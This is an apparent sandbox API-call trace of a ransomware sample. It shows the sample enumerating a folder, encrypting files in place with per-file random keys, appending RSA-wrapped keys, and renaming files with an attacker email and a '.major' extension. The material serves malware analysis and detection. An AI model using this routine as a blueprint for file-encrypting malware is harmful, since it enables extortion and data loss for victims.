[0138.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0138.472] GetLastError () returned 0x0 [0138.472] SetLastError (dwErrCode=0x0) [0138.472] GetLastError () returned 0x0 [0138.472] SetLastError (dwErrCode=0x0) [0138.472] GetLastError () returned 0x0 [0138.472] SetLastError (dwErrCode=0x0) [0138.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef90 [0138.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee70 [0138.472] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0138.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.472] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5630 [0138.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5630 | out: hHeap=0x570000) returned 1 [0138.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0138.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0138.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef90 | out: hHeap=0x570000) returned 1 [0138.473] FindNextFileW (in: hFindFile=0x5b5370, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0138.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0138.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0138.473] GetLastError () returned 0x0 [0138.473] SetLastError (dwErrCode=0x0) [0138.473] GetLastError () returned 0x0 [0138.473] SetLastError (dwErrCode=0x0) [0138.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0138.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0138.473] GetLastError () returned 0x0 [0138.473] SetLastError (dwErrCode=0x0) [0138.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0138.473] FindNextFileW (in: hFindFile=0x5b5370, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0138.473] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0138.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0138.473] GetLastError () returned 0x0 [0138.473] SetLastError (dwErrCode=0x0) [0138.473] GetLastError () returned 0x0 [0138.474] SetLastError (dwErrCode=0x0) [0138.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0138.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0138.474] GetLastError () returned 0x0 [0138.474] SetLastError (dwErrCode=0x0) [0138.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0138.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0138.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0138.474] FindNextFileW (in: hFindFile=0x5b5370, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffe2c0d4, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xffe2c0d4, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xffe9ea45, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0138.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0138.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0138.474] GetLastError () returned 0x0 [0138.474] SetLastError (dwErrCode=0x0) [0138.474] GetLastError () returned 0x0 [0138.474] SetLastError (dwErrCode=0x0) [0138.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0138.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0138.474] GetLastError () returned 0x0 [0138.474] SetLastError (dwErrCode=0x0) [0138.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.474] FindNextFileW (in: hFindFile=0x5b5370, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0138.474] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0138.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0138.474] GetLastError () returned 0x0 [0138.474] SetLastError (dwErrCode=0x0) [0138.474] GetLastError () returned 0x0 [0138.474] SetLastError (dwErrCode=0x0) [0138.474] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0138.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0138.475] GetLastError () returned 0x0 [0138.475] SetLastError (dwErrCode=0x0) [0138.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eb30 [0138.475] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb30 | out: hHeap=0x570000) returned 1 [0138.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0138.475] FindNextFileW (in: hFindFile=0x5b5370, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0138.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0138.475] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.475] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0138.475] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1037\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0138.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0138.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0138.476] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0138.476] CreateFileW (lpFileName="\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a8 [0138.476] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16728) returned 1 [0138.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4158) returned 0x5ed868 [0138.476] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4158) returned 0x5f19c8 [0138.476] ReadFile (in: hFile=0x4a8, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x4158, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x4158, lpOverlapped=0x0) returned 1 [0138.641] SetFilePointer (in: hFile=0x4a8, lDistanceToMove=-16728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.641] WriteFile (in: hFile=0x4a8, lpBuffer=0x5f19c8*, nNumberOfBytesToWrite=0x4158, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5f19c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4158, lpOverlapped=0x0) returned 1 [0138.641] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0138.641] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5f19c8 | out: hHeap=0x570000) returned 1 [0138.642] SetFilePointer (in: hFile=0x4a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4158 [0138.642] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.642] WriteFile (in: hFile=0x4a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.642] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0138.642] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0138.642] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0138.642] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0138.642] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="wXwHS2HnBty+8DasQnVEKXRVJzgIVLFfLaXJEL3k7SJ7CauUeyMw9szu7I3SFnL+\nILwX4wuw5PUp2u+XmW4mO7glTFiPLlNBrDwa5p/89n68dn2BxJOkrS0Slaw4K9jG\nUIiOdXueUbWHWAhGoiM13PmZ6ruY1OhRjdf+KLFYI9U5j6y7/ZTM1wrNPk4IdJxU\nVNXJ3FdkSI4PEwhDihmczAojH+xkectKTpSL9CUj/aX8uG/wI1sT8gnizYEK9SET\nq9OEi6Yq/Ieyz/u9dbMEFDZgVPJcu9WYcY8cV6zWBlWzrvKzG3VwsDTrsVhNwxIs\nErFGD1OC9v5GmEX3j8W4Fg==\n", pcchString=0x2e3f9a8) returned 1 [0138.642] WriteFile (in: hFile=0x4a8, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0138.642] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.642] WriteFile (in: hFile=0x4a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.643] CloseHandle (hObject=0x4a8) returned 1 [0138.644] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0138.644] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1037\\SetupResources.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0138.647] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0138.647] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.648] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0138.648] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0138.648] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0138.648] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.648] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0138.648] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1037\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0138.648] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0138.649] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0138.649] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0138.649] CreateFileW (lpFileName="\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a8 [0138.649] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=72076) returned 1 [0138.649] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1198c) returned 0x5ed868 [0138.649] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1198c) returned 0x5ff200 [0138.649] ReadFile (in: hFile=0x4a8, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x1198c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x1198c, lpOverlapped=0x0) returned 1 [0138.682] SetFilePointer (in: hFile=0x4a8, lDistanceToMove=-72076, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.682] WriteFile (in: hFile=0x4a8, lpBuffer=0x5ff200*, nNumberOfBytesToWrite=0x1198c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ff200*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1198c, lpOverlapped=0x0) returned 1 [0138.683] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0138.684] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ff200 | out: hHeap=0x570000) returned 1 [0138.685] SetFilePointer (in: hFile=0x4a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1198c [0138.685] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.685] WriteFile (in: hFile=0x4a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.686] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0138.686] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0138.687] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0138.687] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0138.687] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="5f7hJEv4OqWSHZj+agkxr2yZhIsBG0i0ZebOy9J5m35AECQlTnXo+wZVarIJj8Qr\nkwTzkAswNxYBRqU5ojneAlQZXPLl33yOWcqj9Dkv+Yb8Hp8yb86em1WFQP48tH6t\nPRBOhtbFVJCTonGpTVoFXG1f5ZeUASF45JDokkoUr1kzQvj+5nsdUZNUY6LjPr2G\nj0fx+QxGWQNStTsTr7hNpl872yOTpw0DAQwU+IwEdNhYhdIfYWjVCijPFb+YVME1\nT51Z6lpJmuQsSHfTrAvoPqok4Wfp/a97pLxwbaUmY250wYPN11+2bXzTC5XSUOl1\nVCH5WO+asGfVgVt+lTFRnQ==\n", pcchString=0x2e3f9a8) returned 1 [0138.687] WriteFile (in: hFile=0x4a8, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0138.687] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.687] WriteFile (in: hFile=0x4a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.687] CloseHandle (hObject=0x4a8) returned 1 [0138.689] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0138.689] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1037\\LocalizedData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0138.691] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0138.691] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.691] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0138.691] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0138.691] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0138.691] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.691] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0138.691] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1037\\eula.rtf", dwFileAttributes=0x80) returned 1 [0138.691] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee70 [0138.691] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0138.691] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0138.691] CreateFileW (lpFileName="\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a8 [0138.692] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=6851) returned 1 [0138.692] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1ac3) returned 0x5ed868 [0138.692] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1ac3) returned 0x5ef338 [0138.692] ReadFile (in: hFile=0x4a8, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x1ac3, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x1ac3, lpOverlapped=0x0) returned 1 [0138.713] SetFilePointer (in: hFile=0x4a8, lDistanceToMove=-6851, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.713] WriteFile (in: hFile=0x4a8, lpBuffer=0x5ef338*, nNumberOfBytesToWrite=0x1ac3, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ef338*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1ac3, lpOverlapped=0x0) returned 1 [0138.713] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0138.714] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ef338 | out: hHeap=0x570000) returned 1 [0138.714] SetFilePointer (in: hFile=0x4a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1ac3 [0138.714] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.714] WriteFile (in: hFile=0x4a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.714] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0138.714] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0138.714] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0138.714] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0138.714] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="WjbYzH1DduUjMVvTM64SlQuIidNqt5ICGqa2wfhm+xY5nvELSBmSjgeU2PNn7xXz\n3ADwdRbOgChJE4LjFBQfToCvycRUaZdxuAuIjQ/5kF1KDHsRioInpiILuyOtvwnd\nqcHQfOWuGMI3iSVeAW63QL2Rhzqu2EXnVSj/fjlpklk9d/SjPlNiG5dqueY+ZHmF\n/p6VSYf3US3ZtC+gx4G1DeedEuulogxiB3AfUyWkxJF30gftupVxfPLUyxp4SHzt\nNPfTmrqheG474HsFgfQCDQYPuvMbRXlO9gqZbq73bxgoj2vLlpUG+poVJ+9lOM0r\nfsN2R+YOBDbxipDwiHebfQ==\n", pcchString=0x2e3f9a8) returned 1 [0138.714] WriteFile (in: hFile=0x4a8, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0138.714] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.714] WriteFile (in: hFile=0x4a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.715] CloseHandle (hObject=0x4a8) returned 1 [0138.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0138.715] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1037\\eula.rtf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0138.717] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0138.717] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.717] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0138.717] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0138.717] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0138.717] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 